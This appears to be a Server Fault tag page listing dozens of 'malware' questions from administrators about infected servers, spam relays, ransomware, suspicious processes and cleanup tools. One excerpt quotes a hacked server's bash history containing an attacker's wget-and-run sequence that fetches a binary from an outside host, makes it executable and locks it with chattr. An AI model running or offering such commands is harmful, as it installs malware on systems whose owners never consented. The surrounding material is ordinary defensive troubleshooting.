Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

learn more… | top users | synonyms (1)

1
vote
1answer
31 views

How can I scan files (or data streams) for virus/malware before uploading them into the server and database?

How can I scan an incoming file upload (or a datastream) into a webserver and database for virus/malware? I know how (using the excellent Clam) to scan things after they have been uploaded, but I ...
1
vote
1answer
99 views

Ads by jabuticaba in all browsers

Recently we got a user who had some malware on his machine -- we've run our McAfee VirusScan Enterprise software, malware bytes anti-malware, combo-fix, adwcleaner and hijack this just to name a few ...
-1
votes
0answers
6 views

How to remove “JS:Agent-DCLTrj” on Ubuntu [duplicate]

How to remove infection agent JS:Agent-DCL[Trj] from the system. Can any body say the procedure to remove this specific virus on UBUNTU OS
0
votes
0answers
9 views

redirect malware on server - next steps? [duplicate]

At least 3 separate websites (running different php web applications ) on our server have been very occasionally (few times a moonth) redirecting pages to malware pages showing ads. Initially it ...
0
votes
2answers
99 views

How can I check who created a file on server?

Looking through server logs I've noticed some mailicious PHP files hidden among WP and Joomla folders and I'm wondering how they got on the server. Is there a way to review that? It's a shared hosting ...
0
votes
0answers
26 views

My server got hacked [duplicate]

My server was hacked and I've found the next in the bash history: cd /usr/bin wget lixianddos.com:2211/syslog chmod u+x syslog ./syslog ss chattr +i syslog mv chattr ddos rm -rf ...
0
votes
0answers
26 views

Filter internal mails for Spam on Office 365 (Exchange Online)

Whilst making the transition from the On-Premises Exchange 2010 Server to Office 365 (Exchange Online), we temporarily left unconfigured our E-mail filtering smart host (Websense Cloud E-mail ...
0
votes
0answers
15 views

CentOS VPS is possibly rooted, but no tools show anything [duplicate]

I've received a notification from my VPS provider (Afterburst) that my VPS is trying to scan and bruteforce other people's servers. I know that I'm not doing this, and I know that nobody else with ...
0
votes
1answer
30 views

Strange process running

I just mentioned that one user starts a process which is called "httpd". 31712 ftp_johndoe 20 0 35988 8828 1460 S 14.0 0.0 1h50:31 httpd 28616 ftp_johndoe 20 0 5304M 43936 35080 S 4.0 0.2 ...
0
votes
0answers
65 views

How does FireAmp (anti-malware) actually work?

Several companies I know of are rolling out an anti-malware product called FireAMP. The publisher's website is long on hype and short on technical details. How does the product actually work? I'm ...
-1
votes
2answers
151 views

Is there a quick & easy solution to protect server 2012 against malware?

For a Windows Server 2012 Standard GUI version to support a small IDE Getting malware protection on my 1st server has become a much bigger problem than I imagined it would. My research covered a lot ...
0
votes
0answers
26 views

FTP Command runs at login for server [duplicate]

I have a windows 2003 server (yes i know it is EOL and needs updated but that is not the point of this question). Everytime I go to log onto the server, I get a command prompt that comes up and tries ...
0
votes
0answers
17 views

Defunct process Rev1112

We were having the following output in top on a Debian box on XenServer: top - 10:00:55 up 10 days, 24 min, 5 users, load average: 126.79, 128.96, 71.39 Tasks: 10382 total, 1 running, 4801 ...
-3
votes
0answers
40 views

How to disable Symbolic link creation option to users in cPanel server? [closed]

In shared hosting server, one user is trying to upload 100s of symbolic link files and trying to access files out side. Mostly it is for malicious purpose. In this image, you can see 100s of symlink ...
0
votes
1answer
35 views

SCEP: imitate potential threat in both live and regular scanner to inspect logs

I am doing some powershell stuff to parse a few logs at work. I would also like to collect some information from the SCEP logs. I find the amount of logs available as well as the different locations ...
0
votes
0answers
19 views

parsing SCEP logs: last definitions update, last scan, viruses found [duplicate]

I would like to write some powershell scripts to extract some information from the SCEP log files. Particularly, I am interested in the following information when was the last scan performed? ...
3
votes
0answers
62 views

Linux Malware Detection Monitoring: Clean files after hit

I'm using LMD ("Maldet") for scanning a web server with different projects. For this purpose I'm using the inotify-monitoring. Well, the inotify-log shows, that the modified files are noticed, but I ...
0
votes
2answers
548 views

clamscan using maldet Error: Servname not supported for ai_socktype

So i have installed Linux Malware Detect (maldet) to scan a server and everything went fine with installation but when i run it i get an error. Bunch of errors and than the scan just closes it. Here ...
-1
votes
1answer
81 views

SED multiline recursive find and replace [duplicate]

I have a large number of sites with the same bit of php inserted in all files that contain footer in their filenames. //###==### malicious code //###==### How to use SED or another command to ...
1
vote
1answer
127 views

Receiving empty mails from three different Windows PC's since 12 January, 2015

Problem Unexpected empty emails are sent by an unknown source since 12 January, 2015. Attempts to solve the issue they are all from company where I do network/sys support they are all from Windows ...
0
votes
1answer
190 views

How to remove crypto-ransomware on my network domain

Today some computer on my domain got infected with crypto-ransomware and have infected some folders on file server that only some computers on network have access to. So I presume one or more of five ...
0
votes
0answers
24 views

Suspicious process running in background in Fedora [duplicate]

There is a suspicious process which every time I boot Fedora starts and eats a percentage of CPU (10%~30%) and I think its name seriously denotes that it is malware! However, the name keeps changing ...
1
vote
2answers
47 views

Why is this server generating outbound IRC connections? [duplicate]

I noticed last night whilst checking our active sessions list on our firewall for something else, that a server was generating outbound IRC connections. Last night there was around 60 connections but ...
0
votes
2answers
281 views

My servers are overloaded with random GET requests. Why? [duplicate]

I'm getting a huge amount of traffic to web servers looking for bittorrent type queries: 110.152.78.14 - - [27/Jan/2015:01:45:22 +0000] "GET ...
0
votes
0answers
15 views

Virus sends mails via sendmail [duplicate]

I noticed that my server has some bad software that sends mails via sendmail which couses a very slow working. I scaned server with clamscan but without effect. Is there any way to find out which ...
0
votes
1answer
188 views

Automatic installation of DbSecurityspt folder [duplicate]

We have an Amazon EC2 instance. The folder DbSecurityspt gets automatically installed in c:/ProgramFiles and the associated service also starts automatically. Removing them, installs them again the ...
0
votes
0answers
25 views

Suspicious process self with random name in Fedora 20 [duplicate]

When I run top I see a two processes run by root with all random letters(jycybezyxa and jycybezyxa): >Tasks: 246 total, 2 running, 236 sleeping, 0 stopped, 8 zombie >%Cpu(s): 15.3 us, ...
-1
votes
1answer
157 views

Server is trying to send out spam [duplicate]

My email server is attempting to send out a great deal of spam. I'm using Postfix & Dovecot. I'm trying to diagnose the problem and figure out how this is being sent. My guess right now is that ...
-1
votes
1answer
138 views

Backdoor:PHP/Shell.P keeps regenerating.Caught by Antivirus. [duplicate]

I have a windows server 2008 with PHP on it and a few Wordpress sites on it. I got a virus some time ago. I thought I had it deleted and everything was fine but after looking at my Quarantine section ...
1
vote
4answers
262 views

Blocking Invalid HTTP Requests to PHP Application

For the first time in a number of years, I'm semi-responsible for helping out with the server administration of a PHP web application (served out using Apache). We're seeing a number of requests for ...
0
votes
1answer
157 views

Apache2 Mod_spamhaus Whitelist

We are using Apache2 mod_spamhaus and many customers were banned using the "Post" method. There is no way to deny mod_spamhaus ban continuously our customers making false positive or ban customers ...
3
votes
2answers
247 views

High number connections coming from an IP

On our corporate network we're detecting workstations opening too many connections to the IP address 75.126.196.159 (port 3478) causing the Cisco ASA Firewall 5550 to detect a "SYN Attack" and reach ...
-5
votes
1answer
62 views

How to check if any malevolent scripts are running on the server? [closed]

I want to give some small jobs to freelancers who would have FTP access to my websites hosted on my server. I heard that sometimes it's possible they put malevolent scripts and software on the ...
0
votes
2answers
2k views

High CPU load on Centos with process sync_supers

My centos server has high cpu load right now. Please see the Htop output below. sync_supers is very suspected but I don't know how to kill it. Any suggestions?
1
vote
2answers
72 views

Best way to trace outgoing requests from a server

We have an Ubuntu 14.04.1 LTS server with nginx 1.4.6 that hosts a few dozen websites and received an abuse complaint from another server of hundreds of requests like this: "POST /wp-login.php ...
0
votes
1answer
273 views

Monitoring “external” worm activity remotely

Some of our computers in our company has been infected with the worm Conficker. We don't know the source of the infection, but I want to monitoring the outside activity to see if we are still infected ...
0
votes
2answers
170 views

Server compromised, how deep is the intrusion when PHP files are changed in folder without write permissions [duplicate]

I know there have been a lot of similar questions, but none of them covered this specific question: I found on almost all PHP files on a clients server script injections, it was actually the script ...
-1
votes
1answer
482 views

Getting rid of Trojan on Debian Server [duplicate]

-------- EDIT --------- I do not agree that this is a duplicate of the linked question. I know that the correct way to deal with this is to wipe and reinstall the server. However, i am interested in ...
-1
votes
1answer
201 views

My website redirects to malware link [duplicate]

I coded my own website and uploaded to a host. Some days ago I realized that in front page suddenly redirects to an unknown websites, until 3-4 redirects. The redirects ends up at: ...
0
votes
1answer
171 views

How to add wildcards to Linux Malware Detect ignore_paths

I am using Linux Malware Detect to scan and report on malware, but on a daily basis I receive alerts for malware in users emails (mainly spam folder). I do not want alerts for this, the spam folders ...
0
votes
1answer
193 views

sed comand - remove virus from wordpress [duplicate]

I have malicious code in every php file. This malicius code is auto paste at the beginning of file. I want to remove this with UNIX command from console. This is malicious code: <?php ...
0
votes
0answers
194 views

rkhunter reports suspicious activity /bin/usr/wget and killall permissions changed

Sorry about the long post but please bear with me. I'm wondering if my system has been compromised. I've had issues in the past on this VM server with a Linux.BackDoor.Gates.5 Trojan that was DDoSing ...
1
vote
2answers
76 views

Unknown issue taking down client machines, virus or coincidence

I’m sorry if this should be on SuperUser instead of ServerFault. Please ask me to migrate the question instead of flaming. I’ve had 2 windows desktops go down on the network in the space of one ...
1
vote
1answer
48 views

How do I find what PHP script is changing the file

I have apache installed with mod_php PHP5. I've been able to find out that apache process is changing my .htaccess and index.php files in /var/www directory. All files in this directory are owned by ...
0
votes
1answer
69 views

Host says server is affected by malware, anyone knows this one ? What to do? [duplicate]

My host sent a notification that says server is infected with a malware, it doesn't seem very popular. The Symantec site about this malware shows windows machines as targets, but not CentOS. Anyone ...
0
votes
2answers
168 views

Is this slowloris attack or not?

IP is hidden in apache log for privacy, except last octet. /billing is our application start page. But it doesn't make sense that it sends POST requests, and get 500 response. Or maybe this is ...
2
votes
0answers
399 views

Slowloris on Apache: is mod_reqtimeout + mod_qos enough?

I detected few days ago that my server was under slowloris attack (I found a lot of "-" 408 0 "-" "-" values in my access.log). I changed my configuration like this: In mod_reqtimeout: ...
1
vote
1answer
106 views

malware infected server respawing of files [duplicate]

So I have a clients server that is infected with malware. Basically any index.php file on the server was infected as well as header.php, function.php. The infection seems to be primarily wordpress ...
0
votes
1answer
151 views

What are best practices for defense against CryptoLocker type threats in an Active Directory environment?

What are best practices for defense against CryptoLocker type threats in an Active Directory environment? Are there Group Policies that could help? NTFS permissions? Anti-virus software?
0
votes
1answer
65 views

How to view traffic operating on a specific port without plugging into egress interface? (Cisco IOS)

I'm trying to track down what host is infected with ZeroAccess on my network. It runs on ports 16464-16471. I would like to find this host without having to connect my laptop to the egress (WAN) ...